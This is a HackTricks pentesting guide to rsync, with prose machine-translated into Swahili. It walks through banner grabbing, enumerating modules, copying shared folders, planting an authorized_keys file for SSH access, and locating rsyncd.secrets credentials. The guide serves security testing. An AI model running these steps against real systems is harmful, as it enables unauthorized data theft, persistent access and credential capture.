873 - Pentesting Rsync

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Basic Information

From wikipedia:

rsync ni chombo cha kuhamasisha kuhamasisha na kuunganisha faili kati ya kompyuta na diski ngumu ya nje na kati ya kompyuta zilizounganishwa mtandao kwa kulinganisha nyakati za mabadiliko na ukubwa wa faili.[3] Inapatikana mara nyingi kwenye sistimu za uendeshaji zinazofanana na Unix. Algorithimu ya rsync ni aina ya delta encoding, na inatumika kupunguza matumizi ya mtandao. Zlib inaweza kutumika kwa kuongeza kushinikiza data,[3] na SSH au stunnel zinaweza kutumika kwa usalama.

Default port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeration

Banner & Mawasiliano ya Kiganja

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Kuhesabu Folda Zinazoshirikiwa

Moduli za Rsync zinatambulika kama ushirikiano wa directory ambao unaweza kuwa na nywila. Ili kubaini moduli zinazopatikana na kuangalia kama zinahitaji nywila, amri zifuatazo zinatumika:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Kumbuka kwamba baadhi ya sehemu zinaweza kutokuwepo kwenye orodha, huenda zikifichwa. Aidha, kufikia baadhi ya sehemu kunaweza kuwa na vizuizi kwa credentials maalum, vinavyoonyeshwa na ujumbe wa "Access Denied".

Brute Force

Matumizi ya Manual Rsync

Baada ya kupata module list, hatua zinategemea kama uthibitisho unahitajika. Bila uthibitisho, kuorodhesha na kunakili faili kutoka kwa folda iliyoshirikiwa hadi directory ya ndani inafanywa kupitia:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Hii mchakato huhamasisha faili kwa njia ya kurudi, ikihifadhi sifa na ruhusa zao.

Kwa vithibitisho, orodha na kupakua kutoka kwa folda iliyopewa inaweza kufanywa kama ifuatavyo, ambapo dirisha la nenosiri litajitokeza:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Ili kupakia maudhui, kama faili ya authorized_keys kwa ufikiaji, tumia:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Ili kupata faili ya usanidi ya rsyncd, tekeleza:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Katika faili hii, parameter ya secrets file inaweza kuelekeza kwenye faili inayoshikilia majina ya watumiaji na nywila za uthibitishaji wa rsyncd.

Marejeo

https://www.smeegesec.com/2016/12/pentesting-rsync.html